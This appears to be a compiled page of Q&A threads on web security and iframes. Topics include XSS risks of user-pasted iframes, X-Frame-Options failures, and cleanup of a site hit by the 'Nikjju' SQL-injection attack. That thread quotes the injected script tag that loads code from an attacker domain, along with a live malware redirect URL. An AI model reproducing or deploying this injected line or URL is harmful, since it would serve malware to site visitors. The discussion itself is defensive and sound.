We Keep Coding

Iframes security tips and scripts

I am trying to launch a website for myself which people might be using in future. Currently I am allowing users to post iframes for YouTube and Google Maps etc. Copy entire 'iframe' from Google Maps or YouTube and paste it in post box just to keep it simple.
Later I am storing it in MySQL database. I am displaying this post on some page. I am little worried since though I have asked user to paste only YouTube or Maps iframes, a devil mind might put src of malicious code.
What are all the possible ways to prevent this?

I think there are multiple risks, some that come to mind are:
Cross-site scripting. There are too many ways to achieve this if you allow the full <iframe> tag to be displayed as entered. This is probably the main risk, and the showstopper. It would be really hard to prevent XSS if you just write the full iframe tag (as entered by an attacker) into subsequent pages. If you really want to do this, you should look into HTML sanitization like Google Caja or HTMLPurifier or similar, but it is a can of worms that you better avoid if possible.
Information leak to malicious website. This very much depends on the browser (and the exact version of such browser), but some information (like for example teh window size, etc.) does leak to the website in an iframe, even if it's from a different origin.
Information / control leak from malicious website. Even worse than the previous, the embedded website would have some control over the window, for example it can redirect it (again, I think it depends on the browser though, I'm not quite sure), or can change the url hash fragment. Also if postMessage is used, the iframe can send messages to your application, which can be exploited if your application is not properly secured (not necessarily right now, but at any time in the future, like 5 years from now, after much development).
Arbitrary text injection, possibly leading to social engineering. Say an adversary includes a frame that says something like "You are the winner of this month's super-prize! Call 1-800-ATTACKER to provide your details and get your reward!"... You get the idea. The message would look like a legitimate one from your website, when it's not.
So you'd better not allow people to enter full tags as copied from Google Maps or anywhere else. There appears to be a finite set of things you want to allow (like for example Youtube videos and Google Maps links are only two), for which you should have customized controls. The user would only enter the video id/slug (the part after ?v=...), or would paste the full link, from which you would take the id, and you would make the actual tag for your page on the server side. The same for Google Maps, if the user navigates to wherever he wants in a Maps window and pastes the url, you can make your own iframe I think, because everything is in the url in Google Maps.
So in short, you should not allow people entering tags. XSS can be mitigated by sanitizers, but other risks listed above cannot.

X-Frame ORIGINS in IFRAME

A while ago I created an application whereby clients connect to a server using WebRTC protocols.
The clients screen is made up of two halves. One half is linked to the server and receieves things like messages, and has the web page which has the WebRTC javascript in it. The other is an IFRAME. When the client connects to the server, the server sends the client a web address which is loaded in the IFRAME.
I know that some web pages cannot be loaded in an iframe, examples typically having password screens. Google forms does not appear to have this restriction, which is great.
So now imagine I launch a server and ask 20 people to connect to it. All 20 students connect to the server properly, I know because it comes up with all their details on my computer. Typically, from my testing, 15/20 will be fine. The other 5 will get a white screen. When I investigate in the console it is an XFRAMES ORIGIN problem, its saying the webpage being loaded will not allow itself to be loaded in an iframe. However everybody else (who are using the same browser [chrome], and some the same browser version) are fine.
Now I have one solution which works for some students, there is a setting in chrome which is called:
block third party cookies and site data
If this is enabled it doesn't work, if its not enabled it does work.
Now I have 4 students left who still just see a white screen whom I have no solution for. Chrome and Firefox both support the software but both produce the same issue.
The building setup is that students connect to the internet through a server. They must connect via this server as my nameserver is not local and indeed my website is not local either.
I dont think it is a coding issue as it only happens on a few select computers and everything else works just hunky dory. Thus I think it might be an issue with something else: firewall, security settings, config button etc. If anybody has any suggestions for what i can do to remedy this then I would be very grateful for your help.
I have tried to supply all info I believe to be relevant (hense the length) but anything I have missed please ask.
Thank you.
Alex

If the main site's URL is different than the iframe's URL, you'll get an xframes origin problem. This includes the protocol (http vs. https) and full domain (example.com vs www.example.com). In other words, if a user goes to example.com and the iframe uses www.example.com it could cause an xframes origin error. Or if they go to http://www.example.com and the iframe uses https://www.example.com you might get this error.

OK so for people who encounter this issue in the future I am going to create an update this post here. Basically it is for people who want an answer to the issue of iframes just displaying a whitepage.
With these three solutions I have eliminated all my issues, but as I come up with new ones I will post them here. Hopefully its useful to somebody :)
SOLUTION 1
If your iframe is aiming somewhere that requires the user to log in, it is unlikely to work. Password pages are rarely cross origin for obvious and good reasons. The solution is to ensure before they use your iframe page they log in fully to what they are doing, or provide an error message that gives them this information if it happens. See this post for details: Catch error if iframe src fails to load . Error :-"Refused to display 'http://www.google.co.in/' in a frame.."
Where I am we had dual login, so they sign into google and then into the organisation. Both these login areas will cause your page load to fail.
SOLUTION 2 (Chrome ONLY)
Some services react badly to QUIC mode, and some of my users have had issues due to this.
To fix:
1. chrome://flags
2. change QUIC mode to 'Disabled'
SOLUTION 3
If you are working via a proxy server that requires cookies, users may have issues if they have the 'Block third-party cookies and site data' button enabled. Disabling this had a positive effect on how well the iframes were working.
In chrome:
Settings
Search for cookies
Click 'content settings'

Very hard to find malicious JS line: </title><script src=http://hgbyju.com/r.php ></script>

I am working on the site http://palacechemicals.co.uk/ which has somehow become infected with a malicious (but benign) line of JavaScript:
</title><script src=http://hgbyju.com/r.php ></script>
on the 251st line. The URL the script tries to load returns 404 but Google still has us on the malware list.
I have a clean, working local copy on another machine here and have compared file sizes of each folder both manually and with software and the two are the same. I have also searched the SQL used to import the data into MSSQL Server 2008 many times for various different strings including eval, script etc.
I am genuinely stumped and am out of ideas of what to look for next.
Has anyone else had this problem or could reccomend a next course of action?
Could it be the case that the hosting provider is somehow infected? We are on a shared hosting platform, however the host is rather large and reputable.
Any input would be greatly appreciated.
Thank you.

When I visit the site from Chrome, nothing happens. But when I visit it from Firefox, the script link does NOT return status 404. There is a malicious script which redirects me to "YouTube" with Emma Watson video.
That happened only once. The second time it's 404 again. I'll try to reproduce it from another IP address.
Here's where I got redirected:
http://www1.thebest-scanerjjn.it.cx/o9gzj2z?2nvq3n=Vtfn5per7tvJzNjp1VPozMWrmqicnZSi19quZpTVysfUosXIeJnP1KuXppuQ3aWr7edqlNbRyZ%2FH0rpzmdLQ36Ld09jkpOOc1JaruLOLy9WwrF2hmZSclqKhmJ9jopzkp8%2Fo3diflpnrltegl6eL5t7Wq2ufpqaYoqadl5KWmeigsJSUoZmrnJ%2BjZJ%2Bc1aLb1dHTn9zq62Ch1sLUyuLU2NOm5eXjnpzX19KI1NTZm%2Bugw9zH6eOQ4JfUs9mn4uSNmKOKpbpSpanRz9HTzc%2FRmtPj2pbP4NuTxdSh6ZiYlaeS
Don't go there. There's an executable file trying to get downloaded, and who knows what else.
So the script works, it doesn't always return 404. You should seriously check security with your site after you remove the malicious link.
Change all passwords;
In case you use a CMS, update it to the latest version;
If it is a self-developed website, audit it for SQL injections and other kinds of security breaches.

your site is vulnerable to SQLi, hence its getting infected again and again.
Regards
DeltaR

Without further information, I would guess that the simplest cause is likliest: your passwords have been compromised and the attacker has altered your script directly.
Correct the page/script with that line in it. This may mean reloading the entire site from your clean copy, just to be on the safe side -- and the attacker may have a script which alters files on the fly.
Change all your administration passwords, using strong passwords.
[I've always used strong passwords, but have had at least one site used as a fileserver. The attacker didn't change anything of mine, but could have done. Deleting their content and changing the passwords seems to have fixed that for the moment.]

Instead of searching for clear text, you should search for HTML entities in decimal and hex.
For instance:
script is hex for script
<> is hex for <>
If you are using WebForms with .NET 3.5 and not properly sanitizing your input strings, there is a huge chance of script injection. If you have turned off request validation on any page, you should test those pages against alternative inputs like these.
Personally, I'd look at all data-driven inputs on your infected pages and scan that data for html entities, not just common words like eval and script.
edit: The html entity should always begin with &#, which should make it easier to search than finding keywords in hex, decimal, unicode, etc.

Could it be the case that the hosting provider is somehow infected? We are on a shared hosting platform, however the host is rather large and reputable.
Read the Chrome malware diagnostic for your site. If you click on the link in the diagnostic to AS15418 (FASTHOSTS), it shows the hosting service has lots of sites infected:
What happened when Google visited sites hosted on this network?
Of the 45254 site(s) we tested on this network over the past 90 days, 885 site(s), including, for example, lalydesign.co.uk/, consolegaming.eu/, nimbiz.com/, served content that resulted in malicious software being downloaded and installed without user consent.
The last time Google tested a site on this network was on 2012-04-23, and the last time suspicious content was found was on 2012-04-23.
...
Has this network hosted sites that have distributed malware?
Yes, this network has hosted sites that have distributed malicious software in the past 90 days. We found 35 site(s), including, for example, hipsxpress.co.uk/, qpscars.co.uk/, aroundbritain.co.uk/, that infected 58 other site(s), including, for example, meb.gov.tr/, opes.go.th/, stephenbrowning.co.uk/.
My guess is you should put pressure on them (edit) to plug the security problems, or change hosting services.

Lot of sites has been compromised by this attack. Cybercriminals targeting the vulnerable ASP sites.
Hackers injected this code in your site by exploiting the SQL Injection vulnerability in your site.
Security Tips:
Analyzing the code: check the source code all pages in your site. Don't simply search for the script, read each lines. Find the
suspicious code and remove it (make sure it is not your code).
Note: some scripts may be encoded, so check the code carefully.
Files in your directory: Check for any suspicious file in your hosting directory.
Patch the Vulnerability: Hackers injected this code by exploiting the SQLi vulnerability. So try to find the vulnerable part in your
site and fix it. If you don't know how to do this, then hire a
Security expert. Also you can you use some automatic sqli scanners to
find vulnerability(but it is not 100% accurate).
Change the password: Once you patch the vulnerability, then change the password of your hosting,ftp,mysql. If you use same password
anywhere else, then change their also.
Info:
The above injection is popularly known as Nikjju attack.The details can be found here:
Nikjju Sql Injection attack &malicious domains.

accessing elements of a child window via javascript in a parent window across domain AND protocol

I'm building an automation tool at work, and I've hit a bit of a snag... The task is to automate the laborious process of navigating a large web-based GUI which sends queries to a database based on the values entered in various fields. We do not have access to the database itself or the server on which the web-GUI is located. Furthermore, the protocol for the web-GUI is https. Is there any way to have javascript open the web-GUI in a new window and then act on it [clicking buttons, reading returned text strings etc.]? The implementation doesn't have to be javascript (autoIT would do the same job much more easily) but I am curious as to how the access denied errors might be overcome. I have read about certain workarounds, but none of them went so far as to actually attempt to interact with elements of the cross-domain document. I have also discovered easyXDM, but it doesn't solve the protocol discrepancy, and I'm not certain it would work for my situation anyway. Any input would be appreciated!
thanks,
CCJ

You are not going to be able to do cross domain because of the same origin policy.
Sounds like you should do something with greasemonkey or with selenium to automate it.

Permission error when using Ajax on a protocol other than http

We are using a custom protocol handler to connect to an embedded device across firewalls, NAT etc. The solution is called Nabto.
This works great - a plug-in on the user's computer handles requests to all nabto:// URIs and serves HTML pages with information about the current connections etc.
Now, we would like to access Nabto functionality from a regular web page. This is difficult with browsers enforcing the Same-Origin policy (e.g. our http page cannot communicate with the nabto page).
So far, I am trying to solve this using easyXDM by having a "proxy page" served by the nabto plug-in. This page is then allowed to launch nabto:// requests and can communicate the results back to the http page using easyXDM.
However, same-origin requests fail in Internet Explorer - even when both pages reside in the nabto://self domain. I get this error: image
Is this an error in Internet Explorer? Any idea how to solve it?
Thanks a lot,
Martin

We had huge issues that sound similar to yours when developing the plugin. I must admit that we gave up getting clean Ajax support working through Nabto after spending a lot of time on it. In fact, the final thing that happened was opening a support case with Microsoft about it, the case bounced around and we never heard anything back.
There might be a chance though for a hack: In the meantime we realized that IE allows you to populate images through nabto:// urls on an http / https page. Maybe you can populate an image object through your query and extract the result from there?
On a side note: You are welcome to post in the support forums (forum.nabto.com) about such things. On the other hand, you help spread the word about the product in this way ;-)
Ulrik